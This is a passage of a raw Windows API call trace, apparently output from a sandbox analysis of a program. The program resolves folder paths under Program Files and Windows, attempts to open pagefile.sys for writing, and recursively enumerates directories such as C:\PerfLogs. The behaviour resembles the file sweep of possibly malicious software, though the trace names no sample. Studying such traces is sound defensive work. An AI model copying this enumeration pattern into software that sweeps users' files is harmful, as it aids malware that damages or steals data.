lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0084.049] CloseHandle (hObject=0x128) returned 1 [0084.049] GetFileType (hFile=0x120) returned 0x1 [0084.049] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.052] CloseHandle (hObject=0x120) returned 1 [0084.052] GetFileType (hFile=0x128) returned 0x1 [0084.052] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0084.053] CloseHandle (hObject=0x128) returned 1 [0084.053] GetFileType (hFile=0x120) returned 0x1 [0084.053] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.054] CloseHandle (hObject=0x120) returned 1 [0084.054] GetFileType (hFile=0x128) returned 0x1 [0084.055] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0084.055] CloseHandle (hObject=0x128) returned 1 [0084.056] GetFileType (hFile=0x120) returned 0x1 [0084.056] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.057] CloseHandle (hObject=0x120) returned 1 [0084.057] GetFileType (hFile=0x128) returned 0x1 [0084.057] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0084.058] CloseHandle (hObject=0x128) returned 1 [0084.058] GetFileType (hFile=0x120) returned 0x1 [0084.058] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.059] CloseHandle (hObject=0x120) returned 1 [0084.060] GetFileType (hFile=0x128) returned 0x1 [0084.060] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0084.061] CloseHandle (hObject=0x128) returned 1 [0084.061] GetFileType (hFile=0x120) returned 0x1 [0084.061] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.062] CloseHandle (hObject=0x120) returned 1 [0084.062] GetFileType (hFile=0x128) returned 0x1 [0084.062] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0084.063] CloseHandle (hObject=0x128) returned 1 [0084.063] GetFileType (hFile=0x120) returned 0x1 [0084.063] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.064] CloseHandle (hObject=0x120) returned 1 [0084.065] GetFileType (hFile=0x128) returned 0x1 [0084.065] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0084.066] CloseHandle (hObject=0x128) returned 1 [0084.066] GetFileType (hFile=0x120) returned 0x1 [0084.066] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.067] CloseHandle (hObject=0x120) returned 1 [0084.067] GetFileType (hFile=0x128) returned 0x1 [0084.067] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0084.068] CloseHandle (hObject=0x128) returned 1 [0084.068] GetFileType (hFile=0x120) returned 0x1 [0084.068] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.069] CloseHandle (hObject=0x120) returned 1 [0084.069] GetFileType (hFile=0x128) returned 0x1 [0084.069] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0084.070] CloseHandle (hObject=0x128) returned 1 [0084.070] GetFileType (hFile=0x120) returned 0x1 [0084.071] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.072] CloseHandle (hObject=0x120) returned 1 [0084.072] GetFileType (hFile=0x128) returned 0x1 [0084.072] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0084.073] CloseHandle (hObject=0x128) returned 1 [0084.073] GetFileType (hFile=0x120) returned 0x1 [0084.073] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.074] CloseHandle (hObject=0x120) returned 1 [0084.074] GetFileType (hFile=0x128) returned 0x1 [0084.074] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0084.075] CloseHandle (hObject=0x128) returned 1 [0084.076] GetFileType (hFile=0x120) returned 0x1 [0084.076] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.077] CloseHandle (hObject=0x120) returned 1 [0084.077] GetFileType (hFile=0x128) returned 0x1 [0084.077] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0084.078] CloseHandle (hObject=0x128) returned 1 [0084.078] GetFileType (hFile=0x120) returned 0x1 [0084.078] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.079] CloseHandle (hObject=0x120) returned 1 [0084.079] GetFileType (hFile=0x128) returned 0x1 [0084.079] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0084.080] CloseHandle (hObject=0x128) returned 1 [0084.080] GetFileType (hFile=0x120) returned 0x1 [0084.080] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.088] CloseHandle (hObject=0x120) returned 1 [0084.088] GetFileType (hFile=0x128) returned 0x1 [0084.088] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0084.089] CloseHandle (hObject=0x128) returned 1 [0084.090] GetFileType (hFile=0x120) returned 0x1 [0084.090] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.091] CloseHandle (hObject=0x120) returned 1 [0084.091] GetFileType (hFile=0x128) returned 0x1 [0084.091] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0084.092] CloseHandle (hObject=0x128) returned 1 [0084.092] GetFileType (hFile=0x120) returned 0x1 [0084.092] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.093] CloseHandle (hObject=0x120) returned 1 [0084.094] GetFileType (hFile=0x128) returned 0x1 [0084.094] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0084.094] CloseHandle (hObject=0x128) returned 1 [0084.095] GetFileType (hFile=0x120) returned 0x1 [0084.095] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.096] CloseHandle (hObject=0x120) returned 1 [0084.096] GetFileType (hFile=0x128) returned 0x1 [0084.096] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0084.097] CloseHandle (hObject=0x128) returned 1 [0084.097] GetFileType (hFile=0x120) returned 0x1 [0084.097] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.098] CloseHandle (hObject=0x120) returned 1 [0084.098] GetFileType (hFile=0x128) returned 0x1 [0084.099] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0084.100] CloseHandle (hObject=0x128) returned 1 [0084.100] GetFileType (hFile=0x120) returned 0x1 [0084.100] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.101] CloseHandle (hObject=0x120) returned 1 [0084.101] GetFileType (hFile=0x128) returned 0x1 [0084.101] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0084.102] CloseHandle (hObject=0x128) returned 1 [0084.102] GetFileType (hFile=0x120) returned 0x1 [0084.102] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.103] CloseHandle (hObject=0x120) returned 1 [0084.104] GetFileType (hFile=0x128) returned 0x1 [0084.104] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0084.105] CloseHandle (hObject=0x128) returned 1 [0084.105] GetFileType (hFile=0x120) returned 0x1 [0084.105] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.106] CloseHandle (hObject=0x120) returned 1 [0084.106] GetFileType (hFile=0x128) returned 0x1 [0084.106] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0084.107] CloseHandle (hObject=0x128) returned 1 [0084.107] GetFileType (hFile=0x120) returned 0x1 [0084.107] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.108] CloseHandle (hObject=0x120) returned 1 [0084.108] GetFileType (hFile=0x128) returned 0x1 [0084.109] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0084.109] CloseHandle (hObject=0x128) returned 1 [0084.110] GetFileType (hFile=0x120) returned 0x1 [0084.110] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.111] CloseHandle (hObject=0x120) returned 1 [0084.111] GetFileType (hFile=0x128) returned 0x1 [0084.111] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0084.114] CloseHandle (hObject=0x128) returned 1 [0084.114] GetFileType (hFile=0x120) returned 0x1 [0084.114] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.115] CloseHandle (hObject=0x120) returned 1 [0084.115] GetFileType (hFile=0x128) returned 0x1 [0084.115] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0084.116] CloseHandle (hObject=0x128) returned 1 [0084.116] GetFileType (hFile=0x120) returned 0x1 [0084.117] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.118] CloseHandle (hObject=0x120) returned 1 [0084.118] GetFileType (hFile=0x128) returned 0x1 [0084.118] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0084.119] CloseHandle (hObject=0x128) returned 1 [0084.119] GetFileType (hFile=0x120) returned 0x1 [0084.119] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.120] CloseHandle (hObject=0x120) returned 1 [0084.120] GetFileType (hFile=0x128) returned 0x1 [0084.121] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0084.121] CloseHandle (hObject=0x128) returned 1 [0084.121] GetFileType (hFile=0x120) returned 0x1 [0084.121] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.123] CloseHandle (hObject=0x120) returned 1 [0084.123] GetFileType (hFile=0x128) returned 0x1 [0084.123] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0084.124] CloseHandle (hObject=0x128) returned 1 [0084.124] GetFileType (hFile=0x120) returned 0x1 [0084.124] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.125] CloseHandle (hObject=0x120) returned 1 [0084.125] GetFileType (hFile=0x128) returned 0x1 [0084.125] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0084.126] CloseHandle (hObject=0x128) returned 1 [0084.127] GetFileType (hFile=0x120) returned 0x1 [0084.127] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.129] CloseHandle (hObject=0x120) returned 1 [0084.129] GetFileType (hFile=0x128) returned 0x1 [0084.129] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0084.130] CloseHandle (hObject=0x128) returned 1 [0084.130] GetFileType (hFile=0x120) returned 0x1 [0084.130] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.131] CloseHandle (hObject=0x120) returned 1 [0084.132] GetFileType (hFile=0x128) returned 0x1 [0084.132] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0084.133] CloseHandle (hObject=0x128) returned 1 [0084.133] GetFileType (hFile=0x120) returned 0x1 [0084.133] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.134] CloseHandle (hObject=0x120) returned 1 [0084.134] GetFileType (hFile=0x128) returned 0x1 [0084.134] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0084.135] CloseHandle (hObject=0x128) returned 1 [0084.135] GetFileType (hFile=0x120) returned 0x1 [0084.135] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.136] CloseHandle (hObject=0x120) returned 1 [0084.136] GetFileType (hFile=0x128) returned 0x1 [0084.136] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0084.137] CloseHandle (hObject=0x128) returned 1 [0084.137] GetFileType (hFile=0x120) returned 0x1 [0084.138] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.139] CloseHandle (hObject=0x120) returned 1 [0084.139] GetFileType (hFile=0x128) returned 0x1 [0084.139] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0084.140] CloseHandle (hObject=0x128) returned 1 [0084.140] GetFileType (hFile=0x120) returned 0x1 [0084.140] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.141] CloseHandle (hObject=0x120) returned 1 [0084.141] GetFileType (hFile=0x128) returned 0x1 [0084.142] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0084.142] CloseHandle (hObject=0x128) returned 1 [0084.143] GetFileType (hFile=0x120) returned 0x1 [0084.143] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.144] CloseHandle (hObject=0x120) returned 1 [0084.144] GetFileType (hFile=0x128) returned 0x1 [0084.144] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0084.147] CloseHandle (hObject=0x128) returned 1 [0084.147] GetFileType (hFile=0x120) returned 0x1 [0084.147] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.148] CloseHandle (hObject=0x120) returned 1 [0084.148] GetFileType (hFile=0x128) returned 0x1 [0084.149] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0084.149] CloseHandle (hObject=0x128) returned 1 [0084.149] GetFileType (hFile=0x120) returned 0x1 [0084.150] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.151] CloseHandle (hObject=0x120) returned 1 [0084.151] GetFileType (hFile=0x128) returned 0x1 [0084.151] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0084.152] CloseHandle (hObject=0x128) returned 1 [0084.152] GetFileType (hFile=0x120) returned 0x1 [0084.152] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0084.154] CloseHandle (hObject=0x120) returned 1 [0084.154] GetFileType (hFile=0x128) returned 0x1 [0084.154] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.155] CloseHandle (hObject=0x128) returned 1 [0084.155] GetFileType (hFile=0x120) returned 0x1 [0084.155] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0084.156] CloseHandle (hObject=0x120) returned 1 [0084.156] GetFileType (hFile=0x128) returned 0x1 [0084.156] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0084.158] CloseHandle (hObject=0x128) returned 1 [0084.291] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.292] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0084.292] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\PerfLogs") returned 11 [0084.293] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\PerfLogs\\*.*") returned 15 [0084.293] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7028 [0084.294] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.294] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0084.294] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\PerfLogs\\Admin") returned 17 [0084.294] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\PerfLogs\\Admin\\*.*") returned 21 [0084.294] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0084.294] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.295] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0084.295] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0084.295] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, 